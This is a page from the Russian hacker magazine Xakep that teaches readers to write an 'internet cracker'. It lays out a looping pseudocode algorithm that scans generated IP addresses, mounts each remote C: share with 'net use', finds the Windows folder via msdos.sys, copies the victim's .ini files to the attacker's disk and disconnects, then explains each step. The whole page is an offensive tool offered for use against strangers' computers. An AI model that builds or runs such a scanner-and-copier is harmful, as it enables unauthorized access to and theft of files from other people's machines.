Как самому написать интернет-крякер

Xakep, номер #045, стр. 045-032-3


1) Генерация адресов в файл "IP.DAT".

2) Взять адрес и записать его в переменную IP$.

3) Сгенерировать командную строку по следующей формуле:

CmdStr1$ = "net use " + Disk$ + ": \\" + IP$ + "\C > control".

4) Выполнить команду SHELL CmdStr1$.

5) Открыть файл "control" и считать оттуда строку в переменную Tstring.

6) Если TString содержит "Команда выполнена успешно.", то переходим на пункт 7. Если нет, то идем на пункт 2.

7) Присваиваем переменной CmdStr1$ выражение Disk + ":\msdos.sys" и делаем открытие файла, указывая переменную CmdStr1$ как путь, например: OPEN CmdStr1$ FOR INPUT AS #1.

7) Ищем в открытом файле комбинацию символов "WinDir" и в найденной строке, с отступом в 9 символов от начала, считываем ее значение. Прибавляем в начало получившейся строчки выражение Disk + ":". Теперь присвоим получившееся выражение переменной. Назовем ее LohDir$.

8) Создаем на диске C: папку, к примеру, "LOH".

Теперь выполняем следующую команду:

SHELL "copy " + LohDir$ + "\*.ini " + "C:\LOH\".

9) Теперь выполняем следующую команду:

SHELL "net use " + Disk + ": " + "/DELETE /YES"

10) Переходим на пункт 2.

Теперь я разжую тебе каждую строчку нашего алгоритма. Думаю, с первым и вторым пунктам ты разберешься самостоятельно, а вот в третьем есть команда, которая, к сожалению, некоторым неизвестна. Вот наша строчка: CmdStr1$ = "net use " + Disk$ + ": \\" + IP$ + "\C > control". Начнем с команды "net use". Это ДОСовская команда, которая отвечает за подключение и отключение расшаренных дисков на удаленной машине. Формат ее такой - "NET USE СВОБОДНЫЙ_ДИСК: \\IP_АДРЕС_УДАЛЕННОЙ_МАШИНЫ\ДИСК_УДАЛЕННОЙ_МАШИНЫ". Как ты, наверное, уже заметил, в строке есть переменная Disk. Наш алгоритм подразумевал, что в этой переменной будет содержаться имя диска, которого нет на твоем компьютере. В следующем пункте мы передаем сгенерированную строчку на выполнение в ДОС. Тот бережно выполняет заданную команду и все, что попытается выдать на экран программа NET.EXE, записывает в файл "control". Зачем? Да затем, чтобы потом определить, выполнилась ли успешно наша команда или нет. В седьмом пункте мы определяем путь папки Виндовса, так как некоторые деятели имеют свойство переименовывать папку до неузнаваемости. В восьмой строчке мы просто копируем нужный нам файл или файлы по маске на свой винт в указанную папку. Девятая строчка - заключительная. Мы отрубаем от своего компа подключенный диск юзверя. Делаем мы это той же командой "NET USE", передавая ей в качестве параметра имя отключаемого диска и, соответственно, команду самого отключения, то есть "/DELETE /YES". Все. Теперь мы можем со спокойной душой перейти в начало нашего алгоритма.

Назад на стр. 045-032-2  Содержание  Вперед на стр. 045-032-4